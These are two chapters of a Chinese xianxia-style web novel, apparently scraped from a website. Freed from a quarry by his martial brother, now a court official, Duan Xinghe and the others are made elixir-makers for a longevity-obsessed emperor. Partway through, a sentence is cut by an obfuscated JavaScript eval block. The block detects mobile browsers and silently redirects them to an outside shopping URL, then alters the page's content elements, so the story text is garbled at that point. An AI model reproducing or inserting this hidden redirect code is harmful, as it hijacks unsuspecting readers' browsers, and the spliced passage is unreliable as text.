8. 钦天监 一 段星河睡了很长一觉,醒过来时,发现自己躺在一张干净整齐的床上。 他要坐起来,采石场的管事张掖连忙走了过来,道:“小道爷别动,快好生歇着。” 这些当官的一向对自己呼来喝去的,突然这么亲切,让他很不适应。段星河道:“这是什么地方?” 张管事弓着腰,赔笑道:“这里是小人值班的住处,条件差了一些,小道爷莫怪。” 段星河看着他谄媚的表情,浑身上下都不自在。不久之前,自己还是他眼中的苦力,性命比路边的乞丐还要贱。如今他却是一副讨好的模样,让段星河怀疑自己是在做梦。他悄悄地掐了自己一下,感到了一阵疼痛。 段星河动了动胳膊腿,感觉除了酸痛以外没什么问题。他坐了起来,见张管事小心翼翼地站在旁边,仿佛在听候他的吩咐。段星河道:“你站着干什么,坐啊。” 那人受宠若惊一般,找了个凳子溜着边坐下了。 段星河有点口渴,伸手去拿壶。张掖连忙站起来,道:“我来、我来。” 他倒了一杯茶,双手捧着送到段星河面前。段星河道:“这我怎么当得起?” 张掖狗腿地道:“当得起,当得起!大人肯使唤小人,便是瞧得起我了。” 段星河喝了一口,见他欲言又止的,道:“张大人,你有话说?” 张掖连忙一低头,道:“道爷莫抬举小人了,我不过是一个从九品的小官,您叫我小张就行了。” 段星河差点被水呛到,接连咳嗽了几声,还是怀念他原来那副桀骜不驯的样子。 这些人最擅长见人下菜碟,他态度忽然转变成这样,肯定是有原因的。段星河记得自己昏倒前见到了步云邪,他乘着一顶蓝呢轿子而来,穿着大幽官员的常服。周围的人见了他都十分恭敬,看来他的地位比这些人都高出不少。 他记得那些人叫他司业大人,也不知道他有怎样的境遇,短短数月间,居然就当上了这里的官。自己一直跟兄弟们在一起,他却只有一个人,在陌生的地方如履薄冰,必然十分不容易。 段星河道:“钦天监的司业,官位几品?” 张掖应声答道:“步大人官居六品,是陛下面前的红人,眼下风头最盛,连司正都要让他三分呢。” 段星河喔了一声,心道:“怪不得这人这么害怕,阿云伸出一根手指头都能捏死他。这人横行霸道了半辈子,这回是撞到刀口上了。” 张掖后退了两步,撩衣跪下道:“小人之前有眼无珠,得罪了小道爷,还请您大人有大量,别跟小人计较。” 段星河皱起了眉头,想起了惨死在牢狱里的张凌越,又想起了那么多从牢里抬出去的尸体,觉得这人的心地歹毒的很。他眼下虽然求饶,却是因为慑于威势,根本没有半分真心悔悟。 他淡淡道:“张大人请起来吧。我不过是一介草民,可受不起你的大礼。” 张掖意识到段星河没这么好糊弄,又磕了几个头,身体发着抖道:“小人也是照上面的吩咐办事,小道爷吉人天相,前程远大,不是咱们几个微末小卒能阻碍的。求您高抬贵手,就饶了小人吧!” 这里的皇帝为了求长生,纵容官差到处抓人,上梁不正下梁歪,他们的官场中必然也乌七八糟的。自己不是大幽国的人,也没必要替他们操这么多心。 他道:“我有几个兄弟,一个叫赵大海,一个叫伏顺,一个叫李玉真……还有个年纪大一点的,叫刘叔,都是无辜被抓进来的,劳烦你把他们放了吧。” 先前他们怎么喊冤都没人理会。这会儿张掖却变得十分通情达理,连忙道:“是、是,小道爷的朋友必然都是正派人,一场误会,小人这就把他们放出来!” 两人说着话,步云邪掀开帘子走了进来,他穿着青色的忠静服,头上戴着一根白玉簪子,仪态端方,颇有几分威严。他身后带着两个侍卫,每人手里都提着个食盒。张管事连忙躬身道:“恭迎步大人。” 步云邪的神色冷淡,摆了摆手道:“都出去吧。” 张掖便和侍卫一起出去了。步云邪把饭从食盒里拿出来,在床边坐下,道:“没事了吧?” 段星河道:“没事。” 他看着面前的人,还不敢相信自己的眼睛。步云邪轻轻一笑,神色缓和下来,还是从前在青岩山跟他一起练剑的模样。 “喝点鸡汤补补,这段时间你受苦了。” 段星河道:“你怎么在这儿,还当上他们的官了?” 步云邪舀起一勺,道:“运气好而已。来,先把汤喝了。” 鸡汤是用太子参炖的,里头沉着几块淮山药,滋味十分鲜美。段星河好久都没吃过这么好的东西了,差点把碗都吞了。步云邪有些心疼,道:“慢慢吃,还有不少呢。” 段星河吃了一碗米饭,一碗汤,一碗红烧肉,又喝了半壶茶,这才感觉活过来了。 步云邪一直注视着他,仿佛觉得跟他重逢太不容易了。段星河浑身都是伤,头发胡子长出来一大把,在这里待了这么久,显然受了不少罪。 步云邪道:“我一直在找你,这么久都没有结果,我还以为你不在大幽。” 段星河道:“我想着要找你们,都城的消息更灵通一些。没想到刚来没多久,就被官差抓到这里来了,还有伏顺、赵大海他们也在。” 步云邪睁大了眼睛,道:“他们也在采石场?我这就把他们放出来!” 段星河道:“我已经跟这里管事的人说了,他怕你怕的要命,已经答应放人了。” 两人都松了一口气,段星河道:“你是怎么当上这里的官的?” 步云邪从药箱里拿出了一瓶药,给他涂抹着脸上的伤口,一边道:“我被风卷到了大幽城外,见皇榜上说皇帝病重,广招能人为他治病,治好的重重有赏。我从小学习医术,对自己还是挺有自信的,就揭皇榜进了宫。” 段星河觉得他胆量实在惊人,道:“给皇帝看病,那可非同小可,万一治不好怎么办?” 步云邪扬起了嘴角,道:“我来的时候,怀里还有两张影遁符。万一他们要赖我,我就隐身跑路。” 段星河想象当时的情形,他一个人揭榜进宫,身上的压力十分巨大。他虽然不像自己受了许多皮肉之苦,性命也悬于一线之间。段星河道:“难为你了。” 步云邪不想让他担心,故作轻松道:“没事,富贵险中求嘛。” 他从前在寨子里便是祭司,最擅长哄爷爷。如今来到这里,又哄好了皇帝老儿,进了钦天监,可见他命里是带着官贵之气的。步云邪道:“我用了我娘教我的五鼓返魂汤,给皇帝灌下去了。周围的人见他没反应,正要把我抓去砍头,那老头儿就悠悠地醒过来了。” 他说起来还心有余悸,拍了拍心口道:“好险……差点就浪费我一张影遁符。” 段星河光听着都替他紧张,道:“这么大的事,你还开玩笑。” 步云邪便认真了些,道:“皇帝醒了之后高兴得很,说他都看见阎王殿了,忽然有人在后头喊他。他听见了一阵鸡鸣声,睁开了眼,就回来了。” 段星河记得这方子不单单是一种药,而是一种彝族的蛊术,是用施术者一定的阳寿去给濒死者续命的。阴曹地府最讲公平,就算是皇帝到了寿数也得收走。那老头儿能死而复苏,恐怕是借了步云邪的寿命。 他道:“我记得这方子是要用人血做引子的,你损了多少寿元?” 步云邪没想到他会这么单刀直入地问,目光游移着,一时间没说话。段星河看他这个反应就知道自己猜的不错,皱起了眉头。步云邪道:“也没有……他是真龙天子嘛,能救过来是他命不该绝。” 段星河一直注视着他,道:“到底几年?” 步云邪心里生出了些压力,只好道:“也没多少,就是……两……三年。” 段星河一把抓过了他的手腕,摸了他脉搏片刻,感觉跟从前没有太大变化,松了口气。他皱眉道:“别再做这么危险的事了,就算他是皇帝老子,值得你用命去换么?” 步云邪笑了,道:“我已经筑基一层了,能活一百来岁,损失个三年五年的,也不算什么。” 他给段星河上着药,一边道:“皇帝活过来后,让我在钦天监做了六品司业。我一站稳了脚跟,马上就让人贴告示,到处寻找你们的下落,却一直没找到。” 段星河寻思道:“那时候我们应该已经被抓到采石场了。” 步云邪叹了口气,片刻道:“不管怎么样,咱们能重逢就是好事了。” 两个人说着话,就见门帘一掀,伏顺和赵大海他们从外头进来了。几个人穿着旧囚服,被关的久了,神色还有些紧张。张掖跟在他们身后,满脸堆笑道:“步大人,小道爷,人都请到了。” 他躬身行了个礼,退了出去。赵大海见了段星河,眼泪顿时流出来了,一把抱住了他道:“大师兄,你没事太好了。他们说你被抓去试药了,我们都快急死了!” 他硕大一个人,弓起身子来哭的鼻涕一把泪一把的,显得有点滑稽。段星河拍了拍他的背,道:“哭什么,我这不是好好的么。” 伏顺见步云邪穿的十分华贵,竟像是在这里当起了官。他道:“二师兄,我没认错吧……你怎么在这里?” 步云邪笑道:“我来接你们的啊。” 伏顺搔了搔头,渐渐明白过来了,难怪那些当官的忽然变了副嘴脸,对自己点头哈腰的,原来是忌惮步云邪。他兴奋道:“二师兄,你是不是当官了,多大品级?” 步云邪道:“不大,六品。” 县太爷出巡前呼后拥的坐着轿子,还有人举着回避牌鸣锣开道,那么威风也就才七品。步云邪才来了三个月,就当上了六品官,已经很了不起了。伏顺朝他竖了个大拇指,道:“不愧是我的好二哥,咱们都托了你的鸿福了!” 步云邪回头看见了李玉真和刘叔,道:“这两位是?” 李玉真在采石场已经见过他了,拱手道:“在下太清宫李玉真,从大新游历至此,跟段兄在囚车里认识的。这段时间多亏他跟我作伴,要不然我早就活不成了。” 段星河道:“别这么说,咱们兄弟是互相扶持。” 步云邪道:“原来是李兄,幸会。” 刘叔没想到自己也能被救出来,十分感动。他感激道:“老朽叫刘通玄,是浩荡盟的一个末流老道。多谢各位救我性命,日后若是经过凤来城,还请来浩荡盟做客!” 步云邪客气道:“好,有机会一定去拜访。” 他环顾了一圈,道:“小雨呢?” 其他人都沉默下来,觉得十分愧疚。段星河道:“还没找到她。” 步云邪在外面这么久,做了画影图形也没能找到,也不能责怪他们。他道:“没事,咱们多派些人慢慢找,总能找到的。” 他说着站起来,道:“天色不早了,咱们走吧。” 段星河道:“去哪里?” “去我住的地方,”步云邪道,“这里太晦气了。陛下给我赐了个小宅子,咱们几个人一起住没问题。” 段星河休息了这一阵子,已经没事了。几人一起出了值班房,张管事还在外面等候吩咐。步云邪淡淡道:“这几个人都是我的师兄弟,今日终于找到了,多亏了你照顾他们。” 张掖受宠若惊,道:“不敢当,是小人有眼不识泰山,若是早知道这几位道爷是大人的同门,小人一定好吃好喝供着,万万不敢得罪半点。” 步云邪道:“既然如此,人我都带走了。” 张掖躬身道:“是、是,小人恭送步大人、恭送几位道长。” 步云邪让人准备了一辆马车,载着兄弟们出了大门。几名守卫纷纷道:“恭送步司业。” 伏顺掀开车帘,看着被抛在远处的石料厂,呸了一声,道:“这破地方,老子再也不来了!” 其他人想起这段时间里受的罪,都百感交集。马车走了半个时辰,回到了都城,穿过街巷走了一阵子,到了一间幽静的宅院前,门上挂着一块黑色的匾额,上头写着步府。 马车停了下来,步云邪从轿子里下来,过来接他们下车。他们刚来到这个世界时,还是夏末,此时却即将入冬了。大家站在街上,感受着自由的风吹在身上,听着市井中传来的熙熙攘攘的声音,感觉恍如隔世。 刘通玄行礼道:“多谢步大人和几位小友,我出来已久,家里的人应该很想念我了,老朽这就回夷州去了。” 段星河以为他还要留下来住几天,看来他是怕了这大幽都城,一天都不想多待了。他道:“那好,天高海阔,咱们后会有期。” 刘通玄跟他们拜别了,转身离去了。侍卫已经打开了步府的大门,道:“恭迎大人。” 一行人迈过高高的门槛,跟着步云邪走了进去。宅院里种满了青松,还有些流水造景。屋舍白墙黑瓦,建造的十分精致。不时有丫鬟仆人路过,见了他们,纷纷退到一旁,行礼道:“拜见大人。” 步云邪神色淡淡的,带着他们进了花厅坐下。丫鬟端了茶过来,见这些人生的奇奇怪怪的,有的十分高大,坐下来像一头熊。有的又干又瘦,眼睛咕噜噜乱转,灵活的像个猴儿。另外两个人也灰头土脸的,头发胡子一大把,也不知道大人为什么会把他们带回来。 李管家听说大人回来了,连忙赶来迎接。他走到花厅中行礼道:“听说大人带了朋友回来,要设宴招待么?” 步云邪放下了茶杯,道:“这些都是我的师兄弟,不是外人。让他们去后面的厢房住下,晚上设宴,多做点好吃的。” 李管家恍然大悟,欣喜道:“这几位就是大人要找的人么,恭喜各位重逢!” 步云邪点了点头,道:“就剩下我那个小妹子没找到了。告示重新做十张,单画她一个,酬金一百两白银,贴城中布告栏里去。” 李管家答应了,看向众人道:“各位一路辛苦了,先跟我来吧,我带你们去休息。” 众人去了后院,安置了下来。段星河歇了片刻,有人给他送了热水过来,并着几套新衣裳供他挑选。段星河用柚子叶洗了个澡,搓去了一身泥,身上舒服多了。 他换上了新衣裳,白色里衣搭配墨蓝色的交领剑袖袍,衣摆上用珠白色的丝线绣着海浪的纹样,蹀躞带将他劲瘦的腰身勾勒的十分清晰。一个托盘里放着个丁香紫的荷包、一块白色的祥云玉佩和一把装饰用的匕首,鞘上鎏金,显得十分华贵。 有人进来给他行了个礼,道:“公子,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152752|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来给您修面。” 段星河坐在躺椅上,闭上了眼。耳边传来唰唰的刮胡子的声音,有人给他刮干净了脸,把头发梳了起来。周围一片安宁舒适,他简直要就这么睡着了。修脸师傅恭敬道:“公子,修好了。” 段星河照了一下镜子,这么一收拾果然精神了许多,跟在采石场里相比,简直判若两人。 仆人行礼道:“段公子,步大人在书房等您。” 段星河便起身道:“你带路吧。” 此时天色将近黄昏,段星河跟着仆人穿过月洞门,来到了书房外。步云邪坐在书桌前,看着之前还没来得及贴完的画影图形,叹了口气。纸上画着段星河、伏顺、赵大海和魏小雨,画师十分高明,根据描述就把几个人画的都颇具神韵。段星河走了过去,端详了一会儿,道:“把我画的太好看了。” 步云邪道:“你不就长这样么?” 段星河便笑了,步云邪见他换上了新衣裳,收拾的干净整齐,露出了欣赏的目光。他道:“这才像样,采石场那里简直不把人当人。那个姓张的狗东西,看我不好好整治他一顿!” 那采石场的张掖害了不少人,段星河要是运气不好,也早就变得像张凌越一样了。这会儿那人见步云邪的官位比他高,便做出一副老实巴交的样子,骨子里还是个卑鄙小人。 段星河也讨厌那狗腿子,道:“要教训他也行,只是别给你惹麻烦就行了。” 步云邪坐在太师椅上,淡淡道:“这人身上背着太多人命了,钝刀子割肉才最疼,先消磨他一阵子再说。” 他的神色阴沉,显然十分记恨张掖。段星河想到了张凌越,道:“跟我关在一起的那怪物呢?” 步云邪道:“被差役拖去烧掉了,钦天监炼的丹养出了这种怪物,传出去对朝廷不利。你就当做没有这回事吧,别再提了。” 段星河把那人的腰牌带了出来,想着他还有意识时也是个善良的人,吃了钦天监的药,却变成了那个样子。他的身体撕裂,一个人形怪物从他的身体中诞生出来,吞噬着他的血肉,触手漫天挥舞,像个巨婴一样哇哇嚎哭着,要吞噬掉一切。 他一想起那时的情形,手心里就渗出了冷汗。他道:“钦天监在干什么,怎么会把人变成那个样子?” 步云邪的神色有些凝重,道:“陛下原本就让钦天监炼制金丹。前阵子他大病复苏之后,感念生死无常,让钦天监加紧炼制丹药。以前的药都太温和,没有什么效果。李司正便换了一些方子,但急功近利,出了些岔子。” 都养出怪物来了,这些人也能粉饰太平,这个世界也太疯狂了。段星河道:“那是什么药?” 步云邪道:“司正练的药叫三花玉露丹,服用之后能让人迅速达到元婴境界,寿元增长至五百岁。” 段星河皱眉道:“那可不是什么元婴,根本就是恶魔。这种东西他敢拿去给皇帝吃么?” 步云邪道:“他自己也知道那些东西邪门得很,所以才从采石场抓人试药。我不想造那么大孽,就炼了一些敏力丹,骗他们说能够延年益寿,其实只是能够让人在短时间内身轻如燕,交差足够了。” 段星河叹道:“幸亏你心好,要不然我也要变成三头六臂的怪物了。” 天色渐渐昏暗下来,李管家过来道:“大人,晚宴备好了。” 步云邪起身道:“走,吃饭去吧。” 两人去了花厅,桌上摆满了佳肴和美酒。伏顺和赵大海已经到了,李玉真坐在他们旁边,穿着一身浅玉色的圆领袍,带着一股文秀气,像读书人家的子弟似的。就连伏顺和赵大海收拾干净了,都显得十分端正。 众人见他们来了,纷纷站起来。步云邪坐下了,道:“都坐,自家兄弟,不用客气。” 虽然如此,他毕竟当上了这里的官,大家还是有点拘束。桌上摆着糖醋鱼,鱼皮上浇着亮晶晶的糖汁,翘着尾巴,嘴里含着一颗糖渍樱桃。仆人把鱼头对着上首,步云邪把鱼头挪了挪,对着段星河,道:“大师兄,你先吃。” 以前在道观里就是这样,大伙一起吃饭的时候,师父先动筷。师父不在的时候,师娘先动筷大家才能吃,长辈都不在的时候,便以大师兄为尊。段星河拿筷子夹了一块鱼腩,放到步云邪面前的碗里。两个人这样谦让,在一旁伺候的仆役都十分惊讶。看来步大人十分敬重他的师兄,众人也不敢对这些人怠慢了。 段星河道:“都吃吧。” 众人早就饿得望眼欲穿了,登时举起筷子,风卷残云地吃了起来。段星河中午吃了一顿好的,此时也没有那么饿了。其他人在牢里受了那么久折磨,许久没见过肉了,此时就像饿死鬼投胎似的,吃的满嘴都是油花。没过多久,桌上的菜就被扫荡一空。 步云邪道:“吃饱了么?” 伏顺瘫在椅子上,摸着自己鼓起来的肚皮,道:“饱了。” 赵大海打了个嗝,也一副心满意足的样子。李玉真的教养好一些,饿了这么久也忍不住吃撑了。众人本来想喝酒赏月,好好地聊一聊。结果饿得太惨了,只顾着吃,别的什么也没顾上。 步云邪道:“我已经让人把寻找小师妹的告示贴出去了。咱们在这里待一阵子,等找到了小雨,大家就一起回去。” 伏顺见了这些荣华富贵,有点舍不得放下了。他道:“二师兄,你好不容易当上官了,说走就走么?” 大幽的皇帝喜怒无常,今天还是他眼前的红人,说不定明天就是阶下囚了。步云邪觉得还是在步家寨子里自在,淡淡道:“修行之人两袖清风,没什么是舍不得的。你要是喜欢在这里,那你留下来,我们走。” 伏顺那点三脚猫的本事根本就唬不住人,听他这么说,连忙道:“不了、不了,回去好啊,这破地方我也不喜欢。” 段星河看向了身边,道:“李兄,你有什么打算?” 李玉真道:“我不想回去听我爹唠叨,跟你们在一起挺好的。我把你们当兄弟,你可别撵我啊。” 相处了这么久,大家都知道了李玉真是个相当随和的人,而且对周围的人和事充满了热情。无论跟他说要做什么,他都会表示支持。就算你要去出恭,他都会来一句祝你通畅。段星河的命都是他救的,跟他算是生死之交,道:“你愿意跟我们在一起,那当然求之不得。” 正说着话,一名侍卫来报:“大人,宫里派人来了。” 步云邪一诧,道:“快请进来。” 他起身迎接,其他人站在一旁。一名御前太监端着拂尘走了进来,环顾了一圈,客客气气道:“步大人,皇上听说您从采石场接了几个朋友出来,便是这几位吧。” 大幽的庆熙帝十分多疑,有自己的情报机构,常派羽林卫暗中检查百官的言行。官员早晨说过的话,晚上就会传到皇帝的耳朵里。步云邪知道自己白天做的事已经被人告诉了皇帝,也没有太紧张。 步云邪道:“他们是我失散的师兄弟,托陛下洪福,今日终于找到了。” “那感情好,”太监道,“陛下宣您和这几位道长,明天申时初刻去养心殿觐见。” 众人都十分诧异,不知道无缘无故的,皇帝召自己去干什么。步云邪的目光微微变幻,似乎知道皇帝想做什么,行礼道:“是,臣等明日便去觐见。” 9.钦天监 二 步云邪为了寻找段星河等人,刚当上司业时就跟皇帝说过,自己还有几位失散的师兄弟,也是炼丹的高手,若是能找回来,就能一起为皇帝效力了。 皇帝便准他以钦天监的名义,广贴告示寻找那几个人。可惜告示贴出来的时候,段星河他们已经被关在了采石场,告示晾了好几个月都石沉大海。不过好在他们的运气不错,兜兜转转还是重聚了。 众人活这么大还没见过皇帝,都有点紧张。步云邪道:“陛下应该就是想见见你们,去了不用说话,有什么事我替你们回答。” 赵大海一紧张就结巴,听说不用说话,一颗心顿时放回了肚子里。段星河想着进宫一趟也没什么,正好去开开眼界。步云邪便道:“没事就去休息吧。” 次日下午,步云邪准备了轿子和一辆马车,和几个人一起进了宫。申时初刻,几人等在养心殿外。皇宫金碧辉煌的,十分气派。御前侍卫给他们搜过了身,片刻太监出来,道:“陛下传步大人和几位道长觐见。” 众人进了养心殿,里头的光线有些阴暗,屋里弥漫着檀香的气息。庆熙帝坐在书房里,身穿金色的蟠龙圆领常服,手里拿着个羊脂玉的如意把件把玩着。他六十出头年纪,嘴边带着两道又深又长的法令纹,模样显得有些严肃。 皇帝的年纪已经垂暮了,也难怪他这么迫切地让人炼长生不老丹。毕竟若是再不快点,就来不及了。 屋里除了他们,还躬身站着一个人。那人穿着青色的官袍,衣服上带着白鹇补子,是个五品官。 庆熙帝不满道:“李如芝,朕等了你这么久,你的三花玉露丹怎么还没炼成?” 原来这人就是钦天监的李司正,步云邪的顶头上司。众人忍不住看了他一眼,见他三十出头模样,身材瘦高,眼睛细长,透着一副精于算计的模样。他被皇帝斥责,神色十分惶恐,道:“陛下恕罪,这药方是古人传下来的,有几味药的配比不清楚。臣一直在调整,最近已经能炼化出元婴了,只是药效还有些猛烈。陛下再稍待一段时间,臣一定尽快把金丹炼出来!” 皇帝心烦道:“你这药都炼了两三年了,不行就停了吧,朕找别人来炼。” 李如芝的神色诧异,抬头看着皇帝,欲言又止,就像一条被抛弃的家犬。皇帝今日叫这些人来,就是为了当面羞辱他的。皇帝晾下了李司正,转头道:“步爱卿——” 步云邪上前一步,躬身行礼道:“臣在。” 皇帝蒙他救了性命,一见到这年轻人就打心底里喜欢。他道:“这就是你的那几位师兄弟么?” 步云邪道:“托陛下洪福,臣找到了失散的师兄弟,只剩一位小师妹了。” 众人跪下行礼,纷纷道:“拜见陛下。” 这么一句话,一群人也说得七零八落的。步云邪道:“山野村夫不懂礼数,还请陛下勿怪。” 这几个人高的高、瘦的瘦,有的丑、有的俊,生的参差不齐的。庆熙帝也不以为忤,哈哈笑了几声,摆出一副平易近人的模样道:“不怪、不怪,几位小道长的年纪虽轻,听说都道行高深。朕最喜欢与人谈经论道,常日修炼,自己就有个道号,叫太上玉清盛威明德真君,不知你们听过没有啊?” 他这道号那么长一大串,记都不好记。众人自然没听过,此时却纷纷道:“听过,久闻陛下大名!” 步云邪道:“陛下虔信道教,是我道家之福。您广布恩泽于天下,也是百姓之福。” 皇帝被他们夸得十分高兴,道:“听说你们逍遥观对于炼丹颇有心得。既然你们师兄弟都重逢了,不妨一起为朕效力罢。传朕口谕,让这几位小道长去钦天监供职,就封……从九品司晨。日后为朕立了功,还有封赏。” 众人一诧,他们昨天还羡慕步云邪当上了六品官,今天自己居然也有了官位。虽然从九品听起来有点小,毕竟是皇帝亲封的官职,实在是想都不敢想的好事。 太监小声道:“还不快领旨谢恩?” 段星河等人便跪下行礼,道:“多谢陛下。” 庆熙帝摩挲着玉如意把件,缓缓道:“李司正这些年来为朕炼丹,却一直未能炼出结果来。步司业治好了朕的急症,炼丹也颇有成效。前阵子他进献了几颗金丹,朕服用了,觉得身轻体健,精力充沛了不少。” 李司正心知那不过是用人参、淮山药、茯苓等寻常药材制成的敏力丹,除湿利水、补脾益气,因此能让人身体轻盈,增长力气,虽然没什么大用,却也吃不出毛病来。 他眼睛动来动去的,虽然不服气,却又不敢揭发步云邪投机取巧。毕竟他炼了那么多怪物出来,一直都封锁着消息。皇帝有羽林卫传信,心里是清楚的,但一直都睁一只眼闭一只眼。炼药嘛,总要有一些人牺牲。不过要是让监察御史和外头的百姓知道了那些药养出了什么怪物,皇帝恐怕立刻就要罢免了他的职位,跟他撇清关系了。 原来钦天监是李如芝一个人说了算,想做什么就做什么。如今多了个步云邪,让他很不放心,恨不能拿针线把他的嘴缝上,免得他出去散布些有的没的,耽误自己前程。 皇帝已经不信任李如芝了,他等了太久,已经磨没了耐心。他道:“朕如今就把炼长生丹这件事交给步司业,你和几个师兄弟齐心,一起帮朕把这件事办好,朕重重有赏!” 步云邪迟疑了一下,不想承担这么重的责任,道:“逍遥观没有长生不老的丹方,臣等只会炼一些寻常补益的外丹,怕是会辜负了陛下的期待。” 步云邪是把他从鬼门关拉回来的人,皇帝觉得这少年郎必然有过人的本事。他大手一挥,道:“别妄自菲薄,朕很信任你们。这样吧……李如芝,你把朕珍藏的御龙长生丹的方子交给步司业,以后这件事就让他们全权负责吧。” 李司正十分诧异,几乎不敢相信自己的耳朵。御龙长生丹是数百年前长生观的宗主进献给朝廷的方子,记载在长生经中,号称天下第一丹。据说服用之后能立刻脱去三尸,达到大乘境界,长生不老。此药十分难炼,其中有许多药材莫说找不到,一般人连听都没听说过。 因为无人能够炼成,这丹方被封存在钦天监的珍宝阁中,由历代司正保管。李如芝炼了这么久,也只敢炼元婴境界的三花玉露丹,还一而再再而三地失败。皇帝一开口就让步云邪和几个野道士去炼御龙长生丹,实在太抬举他们了。 他心里嫉妒的发狂,道:“陛下,此事非同小可,您三思啊!” 皇帝不耐烦道:“朕已经想好了,就这么办。” 李司正只得道:“是……臣遵旨。” 皇帝想了想,又道:“步司业,你炼丹需要什么药材,只管跟朕说。但务必要快,争取在三年内练成,能不能做到?” 步云邪以续命之术给了庆熙帝三年寿元,他虽然不知道,冥冥中却若有所感,给他们的期限也恰好是三年。段星河的目光微动,觉得皇帝能相中他们还是有些因果的。 在这地方待下去,迟早还要有麻烦,倒不如躲出去。步云邪想了一下,道:“炼制金丹的药材遍布于神州大地,臣要云游于各国之间,不知陛下能否允许?” 皇帝大手一挥,道:“准了,你们几个一起去,尽快启程,朕在这里等你们的好消息!” 安排完了,庆熙帝又看了李如芝一眼,说:“你也别闲着,带人把历书重新修一修,别耽误了农时。” 修历书一向由司历做,皇帝让他堂堂五品司正去做九品司历的活儿,便是嫌弃他是个无用之人了。李如芝感到了强烈的危机感,却又不敢不从,低头道:“是,臣遵命。” 回到步府,众人都松了口气,没想到自己这辈子还能进宫见皇帝。伏顺十分兴奋,觉得族谱上都得给自己单独开一页了。 隔了一天,宫里给他们送来了任命文书,以及印信、官服,还有出入的腰牌。又有几个盘子里盛着二百两黄金,作为他们的炼药的经费。太监宣读完了圣旨,段星河替几人接了过去。陈公公把浮尘一摆,露出了和气的笑容,道:“恭喜几位了。” 步云邪道:“多谢公公,有劳了。” 陈公公是皇帝的御前太监,步云邪取了十两银子递过去,权做报喜钱。陈公公脸上的皱纹堆在了一起,笑道:“几位年纪轻轻就被陛下这样器重,前途大有可为!” 伏顺盯着黄澄澄的金元宝,眼睛都直了。等送走了宫里的人,他抓起一个元宝往嘴里一咬,能咬动。他兴奋的不行,道:“我这辈子都没见过这么多钱,爹啊,儿子出息了!” 赵大海见了这么多钱虽然也高兴,还是提醒道:“你醒醒吧,这是咱们出去好几年的盘缠,买完药材就不剩什么了。” 李玉真也道:“别惦记啦,只有每个月五两银子的月钱是咱们自己的。” 每人得到了两套官服,段星河唰地抖开衣裳,衣袍是深蓝色的,剑袖便于活动。衣摆上用银线绣着星宿的图样,行走起来波光粼粼,熠熠生辉。腰牌是用乌木制成的,下面坠着猩红的络子,正面分两行刻着他的名字和官位,司晨段星河,背面用金字刻着钦天监三个大字。 他感叹道:“这官服还挺精神的。” 伏顺看着腰牌,觉得自己光宗耀祖了,兴奋道:“司晨是做什么的?” 李玉真笑了,哄他道:“大官,厉害得很。” 段星河直接道:“就是打更的。” 伏顺顿时有些失望,赵大海却挺知足的,道:“我娘原来就说过,要是修道不成,当个更夫或是看城门的就挺好的,起码是吃皇粮的嘛。” 他人高马大的,去看城门肯定有人要他。伏顺想自己跟个瘦猴儿似的,当兵也没人收自己,如今能加入钦天监已经是祖上积德了。他顿时又高兴起来,穿上了薄底快靴,在屋里橐橐地走来走去,过着干瘾。 片刻钦天监又有人来,给他们送了些药材,有人参、灵芝等物,还送给他们两匹高大的枣红骏马,一辆宽敞的大车,方便他们旅行。伏顺拍了拍骏马,抓起一把鬃毛把玩着,心中十分高兴,觉得这可比自家养的那匹瘦马精神多了。他发现牵马的人有点眼熟,忽然睁大了眼,道:“啊,是你!” 那人本来低着头,有点遮遮掩掩的意思,没想到还是被认出来了。其他人闻声看过来,却见那马奴是采石场的张掖。众人都有些意外,不知道他怎么会在这里。 伏顺道:“张大人,你不在采石场享福,怎么到这里来了?” 张掖十分尴尬,道:“小人……办事不力,被罢免了官职,被罚在钦天监听差。司正大人让小人过来伺候各位。” 段星河觉得奇怪,回头看步云邪,想问是不是他干的。步云邪也是一脸茫然,想了想,大约是采石场出了妖物的事压不住了。这么大的事总得有人背锅,朝廷便把责任扔给了采石场的管事。 张掖一脸倒霉,他就是个办事的,本来跟他也没什么关系。但再往上查,搞出妖物的人是钦天监的司正。李如芝又是为了皇帝才炼的丹药,哪个都不好惹。只有张掖这小卒子最不值钱,便把他推出来背锅了。 这人在采石场待得太久了,知道不少见不得光的秘密,放在别处都不合适。皇帝便把他打发到了钦天监做杂役,让李司正亲自看着他,免得这人出去跟人胡说八道。 步云邪怜悯地看着他,觉得这人怕是活不长了。皇帝要面子,不能这就杀了他,但等风头过了,他会不会突然暴毙就不好说了。 张掖原来在采石场作威作福,好像天底下他最大似的。如今风水轮流转,昔日他看不起的几个苦力吃上了皇粮,他却成了他们的马前卒。众人心中都十分痛快,伏顺故意道:“听差是干什么的,有品级么?” 张掖道:“没品,就是……伺候各位大人的仆役。” 伏顺便在院子里的石墩子上坐下了,伸出了脚道:“喔,那我这靴子有点脏,你给我擦擦吧。” 官大一级压死人,张掖心中虽然不痛快,也不敢惹他。他跪在地上,伸出袖子擦了擦伏顺的靴子,又吹了吹上面的灰,赔笑道:“大人,擦好了。” 伏顺还不饶了他,换了另外一只脚,臭气熏天地怼到了他脸跟前。张掖之前给他们吃剩饭馊水,把他们当牛马一样使唤,还打了他和赵大海几十大板。伏顺一直记着仇,非得狠狠地讨回来不可。 张掖只好抱着他的脚,用袖子擦干净了另一只靴子。伏顺把鞋底在他胸前蹭了蹭,道:“今天晦气,出门踩了一泡狗屎,鞋底都是臭的。幸亏老张会伺候,要不然我这靴子就得扔了。” 张掖受了屈辱,还被他恶心了一顿,虽然勉强陪着笑,表情却比哭还难看。 赵大海搔了搔头,觉得十分痛快,又有点可怜他。伏顺还没过够瘾,拿起腰牌在他面前晃了晃,炫耀道:“看见没,从九品司晨。老张,你服不服了?” 张掖连声道:“服气、服气。咱们陛下最看重长生,钦天监的人身份十分尊贵,其他各衙门都要让你们三分的。” 听他这么说,钦天监还挺霸道的。难怪这些天来,步云邪无论去什么地方,周围的人都自觉退到路边,一副十分恭敬的模样。段星河道:“那钦天监的人挺多的吧?” 